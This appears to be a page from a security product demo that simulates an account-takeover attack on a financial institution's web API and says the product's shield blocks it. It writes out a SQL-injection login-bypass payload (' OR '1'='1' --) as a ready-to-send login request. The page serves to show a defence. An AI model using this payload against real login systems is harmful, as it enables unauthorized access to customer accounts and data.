Financial InstitutionWebAPI
Account takeover via SQL injection
A login-bypass payload authenticates as the first user with no valid password.
- Attack
- Login with ' OR '1'='1' --.
- Nemesis defense
- Application Shield blocks the injection in the submitted fields.
- Modelled on
- Sterling Bank (2026): WebLogic middleware auth-bypass, PII for 900k+ customers.
Request — review or edit the fields, then run it
Request that will be sent
POST /api/login
Content-Type: application/json
{
"username": "' OR '1'='1' --",
"password": "x"
}